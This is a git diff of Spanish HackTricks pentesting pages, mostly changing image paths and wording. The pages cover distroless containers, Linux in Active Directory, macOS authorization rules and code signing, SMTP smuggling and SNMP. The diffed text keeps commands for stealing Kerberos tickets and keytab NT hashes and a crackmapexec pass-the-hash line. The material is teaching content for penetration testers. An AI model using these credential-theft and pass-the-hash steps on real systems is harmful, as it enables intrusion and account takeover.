<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ Sin embargo, en este tipo de contenedores, estas protecciones generalmente exist
|
||||||
|
|
||||||
Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -146,7 +146,7 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
|
||||||
|
|
||||||
<summary>Apoya a HackTricks</summary>
|
<summary>Apoya a HackTricks</summary>
|
||||||
|
|
||||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Linux Active Directory
|
# Linux Active Directory
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
Una máquina linux también puede estar presente dentro de un entorno de Active Directory.
|
Una máquina linux también puede estar presente dentro de un entorno de Active Directory.
|
||||||
|
@ -37,7 +35,7 @@ También puedes consultar la siguiente página para aprender **otras formas de e
|
||||||
|
|
||||||
### FreeIPA
|
### FreeIPA
|
||||||
|
|
||||||
FreeIPA es una **alternativa** de código abierto a Microsoft Windows **Active Directory**, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utilizando el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, admite autenticación **multifactor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en:
|
FreeIPA es una **alternativa** de código abierto a Microsoft Windows **Active Directory**, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utilizando el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, admite autenticación **multi-factor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en:
|
||||||
|
|
||||||
{% content-ref url="../freeipa-pentesting.md" %}
|
{% content-ref url="../freeipa-pentesting.md" %}
|
||||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||||
|
@ -79,7 +77,6 @@ make CONF=Release
|
||||||
```
|
```
|
||||||
Este procedimiento intentará inyectar en varias sesiones, indicando el éxito al almacenar los tickets extraídos en `/tmp` con una convención de nombres de `__krb_UID.ccache`.
|
Este procedimiento intentará inyectar en varias sesiones, indicando el éxito al almacenar los tickets extraídos en `/tmp` con una convención de nombres de `__krb_UID.ccache`.
|
||||||
|
|
||||||
|
|
||||||
### Reutilización de tickets CCACHE desde SSSD KCM
|
### Reutilización de tickets CCACHE desde SSSD KCM
|
||||||
|
|
||||||
SSSD mantiene una copia de la base de datos en la ruta `/var/lib/sss/secrets/secrets.ldb`. La clave correspondiente se almacena como un archivo oculto en la ruta `/var/lib/sss/secrets/.secrets.mkey`. Por defecto, la clave solo es legible si tienes permisos de **root**.
|
SSSD mantiene una copia de la base de datos en la ruta `/var/lib/sss/secrets/secrets.ldb`. La clave correspondiente se almacena como un archivo oculto en la ruta `/var/lib/sss/secrets/.secrets.mkey`. Por defecto, la clave solo es legible si tienes permisos de **root**.
|
||||||
|
@ -99,9 +96,9 @@ klist -k /etc/krb5.keytab
|
||||||
```
|
```
|
||||||
### Extraer cuentas de /etc/krb5.keytab
|
### Extraer cuentas de /etc/krb5.keytab
|
||||||
|
|
||||||
Las claves de cuentas de servicio, esenciales para los servicios que operan con privilegios de root, se almacenan de forma segura en los archivos **`/etc/krb5.keytab`**. Estas claves, similares a contraseñas para servicios, exigen estricta confidencialidad.
|
Las claves de cuentas de servicio, esenciales para los servicios que operan con privilegios de root, se almacenan de forma segura en los archivos **`/etc/krb5.keytab`**. Estas claves, similares a contraseñas para servicios, requieren estricta confidencialidad.
|
||||||
|
|
||||||
Para inspeccionar el contenido del archivo keytab, se puede emplear **`klist`**. La herramienta está diseñada para mostrar detalles clave, incluyendo el **NT Hash** para la autenticación de usuarios, particularmente cuando el tipo de clave se identifica como 23.
|
Para inspeccionar el contenido del archivo keytab, se puede emplear **`klist`**. La herramienta está diseñada para mostrar detalles de la clave, incluyendo el **NT Hash** para la autenticación de usuarios, particularmente cuando el tipo de clave se identifica como 23.
|
||||||
```bash
|
```bash
|
||||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||||
# Output includes service principal details and the NT Hash
|
# Output includes service principal details and the NT Hash
|
||||||
|
@ -120,17 +117,16 @@ Utilizando la información de cuenta y hash extraída, se pueden establecer cone
|
||||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||||
```
|
```
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -29,11 +29,11 @@ Las reglas se almacenan en la tabla `rules` dentro de la base de datos y contien
|
||||||
* **name**: El nombre único de la regla utilizado para identificarla y referenciarla dentro del sistema de autorización.
|
* **name**: El nombre único de la regla utilizado para identificarla y referenciarla dentro del sistema de autorización.
|
||||||
* **type**: Especifica el tipo de la regla, restringido a los valores 1 o 2 para definir su lógica de autorización.
|
* **type**: Especifica el tipo de la regla, restringido a los valores 1 o 2 para definir su lógica de autorización.
|
||||||
* **class**: Categoriza la regla en una clase específica, asegurando que sea un número entero positivo.
|
* **class**: Categoriza la regla en una clase específica, asegurando que sea un número entero positivo.
|
||||||
* "allow" para permitir, "deny" para denegar, "user" si la propiedad de grupo indica un grupo cuya membresía permite el acceso, "rule" indica en un array una regla que debe cumplirse, "evaluate-mechanisms" seguido de un array de `mechanisms` que son ya sea integrados o un nombre de un paquete dentro de `/System/Library/CoreServices/SecurityAgentPlugins/` o /Library/Security//SecurityAgentPlugins
|
* "allow" para permitir, "deny" para denegar, "user" si la propiedad de grupo indica un grupo cuya membresía permite el acceso, "rule" indica en un array una regla que debe cumplirse, "evaluate-mechanisms" seguido de un array `mechanisms` que son ya sea integrados o un nombre de un paquete dentro de `/System/Library/CoreServices/SecurityAgentPlugins/` o /Library/Security//SecurityAgentPlugins
|
||||||
* **group**: Indica el grupo de usuarios asociado con la regla para la autorización basada en grupos.
|
* **group**: Indica el grupo de usuarios asociado con la regla para la autorización basada en grupos.
|
||||||
* **kofn**: Representa el parámetro "k-of-n", determinando cuántas subreglas deben ser satisfechas de un número total.
|
* **kofn**: Representa el parámetro "k-of-n", determinando cuántas subreglas deben ser satisfechas de un número total.
|
||||||
* **timeout**: Define la duración en segundos antes de que la autorización otorgada por la regla expire.
|
* **timeout**: Define la duración en segundos antes de que la autorización otorgada por la regla expire.
|
||||||
* **flags**: Contiene varias flags que modifican el comportamiento y las características de la regla.
|
* **flags**: Contiene varias banderas que modifican el comportamiento y las características de la regla.
|
||||||
* **tries**: Limita el número de intentos de autorización permitidos para mejorar la seguridad.
|
* **tries**: Limita el número de intentos de autorización permitidos para mejorar la seguridad.
|
||||||
* **version**: Rastrea la versión de la regla para el control de versiones y actualizaciones.
|
* **version**: Rastrea la versión de la regla para el control de versiones y actualizaciones.
|
||||||
* **created**: Registra la marca de tiempo cuando se creó la regla para fines de auditoría.
|
* **created**: Registra la marca de tiempo cuando se creó la regla para fines de auditoría.
|
||||||
|
@ -94,7 +94,7 @@ Además, utilizando la herramienta de seguridad es posible probar muchas APIs de
|
||||||
|
|
||||||
Eso hará un fork y ejecutará `/usr/libexec/security_authtrampoline /bin/ls` como root, lo que pedirá permisos en un aviso para ejecutar ls como root:
|
Eso hará un fork y ejecutará `/usr/libexec/security_authtrampoline /bin/ls` como root, lo que pedirá permisos en un aviso para ejecutar ls como root:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,11 +15,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Información Básica
|
## Basic Information
|
||||||
|
|
||||||
Los binarios Mach-o contienen un comando de carga llamado **`LC_CODE_SIGNATURE`** que indica el **offset** y el **tamaño** de las firmas dentro del binario. De hecho, utilizando la herramienta GUI MachOView, es posible encontrar al final del binario una sección llamada **Code Signature** con esta información:
|
Los binarios Mach-o contienen un comando de carga llamado **`LC_CODE_SIGNATURE`** que indica el **offset** y el **tamaño** de las firmas dentro del binario. De hecho, utilizando la herramienta GUI MachOView, es posible encontrar al final del binario una sección llamada **Code Signature** con esta información:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
El encabezado mágico de la Code Signature es **`0xFADE0CC0`**. Luego tienes información como la longitud y el número de blobs del superBlob que los contiene.\
|
El encabezado mágico de la Code Signature es **`0xFADE0CC0`**. Luego tienes información como la longitud y el número de blobs del superBlob que los contiene.\
|
||||||
Es posible encontrar esta información en el [código fuente aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
Es posible encontrar esta información en el [código fuente aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||||
|
@ -51,7 +51,7 @@ char data[];
|
||||||
} CS_GenericBlob
|
} CS_GenericBlob
|
||||||
__attribute__ ((aligned(1)));
|
__attribute__ ((aligned(1)));
|
||||||
```
|
```
|
||||||
Los blobs comunes que se contienen son el Directorio de Código, Requisitos y Derechos, y un Mensaje de Sintaxis Criptográfica (CMS).\
|
Los blobs comunes que se contienen son el Directorio de Código, Requisitos y Derechos, y un Mensaje Criptográfico en Sintaxis (CMS).\
|
||||||
Además, note cómo los datos codificados en los blobs están codificados en **Big Endian.**
|
Además, note cómo los datos codificados en los blobs están codificados en **Big Endian.**
|
||||||
|
|
||||||
Además, las firmas pueden ser separadas de los binarios y almacenadas en `/var/db/DetachedSignatures` (utilizado por iOS).
|
Además, las firmas pueden ser separadas de los binarios y almacenadas en `/var/db/DetachedSignatures` (utilizado por iOS).
|
||||||
|
@ -119,7 +119,7 @@ Note que hay diferentes versiones de esta estructura donde las antiguas pueden c
|
||||||
## Páginas de Firma de Código
|
## Páginas de Firma de Código
|
||||||
|
|
||||||
Hacer un hash del binario completo sería ineficiente e incluso inútil si solo se carga en memoria parcialmente. Por lo tanto, la firma de código es en realidad un hash de hashes donde cada página binaria se hash individualmente.\
|
Hacer un hash del binario completo sería ineficiente e incluso inútil si solo se carga en memoria parcialmente. Por lo tanto, la firma de código es en realidad un hash de hashes donde cada página binaria se hash individualmente.\
|
||||||
De hecho, en el anterior código de **Directorio de Código** puedes ver que el **tamaño de página está especificado** en uno de sus campos. Además, si el tamaño del binario no es un múltiplo del tamaño de una página, el campo **CodeLimit** especifica dónde está el final de la firma.
|
De hecho, en el código del **Directorio de Código** anterior, puedes ver que se **especifica el tamaño de la página** en uno de sus campos. Además, si el tamaño del binario no es un múltiplo del tamaño de una página, el campo **CodeLimit** especifica dónde está el final de la firma.
|
||||||
```bash
|
```bash
|
||||||
# Get all hashes of /bin/ps
|
# Get all hashes of /bin/ps
|
||||||
codesign -d -vvvvvv /bin/ps
|
codesign -d -vvvvvv /bin/ps
|
||||||
|
@ -157,7 +157,7 @@ openssl sha256 /tmp/*.page.*
|
||||||
```
|
```
|
||||||
## Entitlements Blob
|
## Entitlements Blob
|
||||||
|
|
||||||
Tenga en cuenta que las aplicaciones también pueden contener un **entitlement blob** donde se definen todos los derechos. Además, algunos binarios de iOS pueden tener sus derechos específicos en el slot especial -7 (en lugar de en el slot especial -5 de derechos).
|
Note que las aplicaciones también pueden contener un **entitlement blob** donde se definen todos los derechos. Además, algunos binarios de iOS pueden tener sus derechos específicos en el slot especial -7 (en lugar de en el slot especial -5 de derechos).
|
||||||
|
|
||||||
## Special Slots
|
## Special Slots
|
||||||
|
|
||||||
|
@ -175,7 +175,7 @@ De hecho, es posible ver en las estructuras del Directorio de Código un paráme
|
||||||
|
|
||||||
## Code Signing Flags
|
## Code Signing Flags
|
||||||
|
|
||||||
Cada proceso tiene relacionado un bitmask conocido como el `status` que es iniciado por el kernel y algunos de ellos pueden ser anulados por la **firma de código**. Estas banderas que pueden incluirse en la firma de código están [definidas en el código](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
Cada proceso tiene relacionado un bitmask conocido como el `status` que es iniciado por el kernel y algunos de ellos pueden ser sobrescritos por la **firma de código**. Estas banderas que pueden incluirse en la firma de código están [definidas en el código](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L36):
|
||||||
```c
|
```c
|
||||||
/* code signing attributes of a process */
|
/* code signing attributes of a process */
|
||||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||||
|
@ -308,11 +308,11 @@ Es posible acceder a esta información y crear o modificar requisitos con alguna
|
||||||
|
|
||||||
## Aplicación de la Firma de Código
|
## Aplicación de la Firma de Código
|
||||||
|
|
||||||
El **kernel** es el que **verifica la firma de código** antes de permitir que el código de la aplicación se ejecute. Además, una forma de poder escribir y ejecutar nuevo código en memoria es abusar de JIT si `mprotect` se llama con la bandera `MAP_JIT`. Tenga en cuenta que la aplicación necesita un derecho especial para poder hacer esto.
|
El **núcleo** es el que **verifica la firma de código** antes de permitir que el código de la aplicación se ejecute. Además, una forma de poder escribir y ejecutar nuevo código en memoria es abusar de JIT si `mprotect` se llama con la bandera `MAP_JIT`. Tenga en cuenta que la aplicación necesita un derecho especial para poder hacer esto.
|
||||||
|
|
||||||
## `cs_blobs` & `cs_blob`
|
## `cs_blobs` & `cs_blob`
|
||||||
|
|
||||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la estructura contiene la información sobre el derecho del proceso en ejecución sobre él. `csb_platform_binary` también informa si la aplicación es un binario de plataforma (lo cual es verificado en diferentes momentos por el OS para aplicar mecanismos de seguridad como proteger los derechos de SEND a los puertos de tarea de estos procesos).
|
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la estructura contiene la información sobre el derecho del proceso en ejecución sobre él. `csb_platform_binary` también informa si la aplicación es un binario de plataforma (lo cual es verificado en diferentes momentos por el SO para aplicar mecanismos de seguridad como proteger los derechos de ENVÍO a los puertos de tarea de estos procesos).
|
||||||
```c
|
```c
|
||||||
struct cs_blob {
|
struct cs_blob {
|
||||||
struct cs_blob *csb_next;
|
struct cs_blob *csb_next;
|
||||||
|
@ -385,7 +385,7 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
|
||||||
|
|
||||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -23,7 +23,7 @@ Este tipo de vulnerabilidad fue [**descubierta originalmente en esta publicació
|
||||||
|
|
||||||
Esto se debe a que en el protocolo SMTP, los **datos del mensaje** que se enviará en el correo electrónico son controlados por un usuario (atacante) que podría enviar datos especialmente diseñados abusando de las diferencias en los analizadores que introducirán correos adicionales en el receptor. Eche un vistazo a este ejemplo ilustrado de la publicación original:
|
Esto se debe a que en el protocolo SMTP, los **datos del mensaje** que se enviará en el correo electrónico son controlados por un usuario (atacante) que podría enviar datos especialmente diseñados abusando de las diferencias en los analizadores que introducirán correos adicionales en el receptor. Eche un vistazo a este ejemplo ilustrado de la publicación original:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
### Cómo
|
### Cómo
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -58,7 +58,7 @@ Hay algunos **OID bien conocidos** como los que están dentro de [1.3.6.1.2.1](h
|
||||||
|
|
||||||
Aquí hay un desglose de esta dirección.
|
Aquí hay un desglose de esta dirección.
|
||||||
|
|
||||||
* 1 – esto se llama ISO y establece que este es un OID. Por eso todos los OID comienzan con "1"
|
* 1 – esto se llama el ISO y establece que este es un OID. Por eso todos los OID comienzan con "1"
|
||||||
* 3 – esto se llama ORG y se utiliza para especificar la organización que fabricó el dispositivo.
|
* 3 – esto se llama ORG y se utiliza para especificar la organización que fabricó el dispositivo.
|
||||||
* 6 – este es el dod o el Departamento de Defensa, que es la organización que estableció primero Internet.
|
* 6 – este es el dod o el Departamento de Defensa, que es la organización que estableció primero Internet.
|
||||||
* 1 – este es el valor de internet para denotar que todas las comunicaciones ocurrirán a través de Internet.
|
* 1 – este es el valor de internet para denotar que todas las comunicaciones ocurrirán a través de Internet.
|
||||||
|
@ -99,7 +99,7 @@ Hay **2 tipos de cadenas de comunidad**:
|
||||||
* **`private`** **Lectura/Escritura** en general
|
* **`private`** **Lectura/Escritura** en general
|
||||||
|
|
||||||
Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** También, puede **existir** objetos que son **siempre "Solo Lectura".**\
|
Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** También, puede **existir** objetos que son **siempre "Solo Lectura".**\
|
||||||
Si intentas **escribir** un objeto, se recibe un error de **`noSuchName` o `readOnly`**.\*\*.\*\*
|
Si intentas **escribir** un objeto se recibe un error **`noSuchName` o `readOnly`**\*\*.\*\*
|
||||||
|
|
||||||
En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor no **responderá**. Así que, si responde, se **utilizó una cadena de comunidad válida**.
|
En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor no **responderá**. Así que, si responde, se **utilizó una cadena de comunidad válida**.
|
||||||
|
|
||||||
|
@ -109,9 +109,9 @@ En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor
|
||||||
|
|
||||||
* El agente SNMP recibe solicitudes en el puerto UDP **161**.
|
* El agente SNMP recibe solicitudes en el puerto UDP **161**.
|
||||||
* El administrador recibe notificaciones ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) y [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) en el puerto **162**.
|
* El administrador recibe notificaciones ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) y [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) en el puerto **162**.
|
||||||
* Cuando se utiliza con [Seguridad de Capa de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) o [Seguridad de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**.
|
* Cuando se utiliza con [Seguridad de Capa de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) o [Seguridad de Capa de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**.
|
||||||
|
|
||||||
## Fuerza Bruta de la Cadena de Comunidad (v1 y v2c)
|
## Fuerza Bruta de Cadenas de Comunidad (v1 y v2c)
|
||||||
|
|
||||||
Para **adivinar la cadena de comunidad** podrías realizar un ataque de diccionario. Consulta [aquí diferentes formas de realizar un ataque de fuerza bruta contra SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Una cadena de comunidad frecuentemente utilizada es `public`.
|
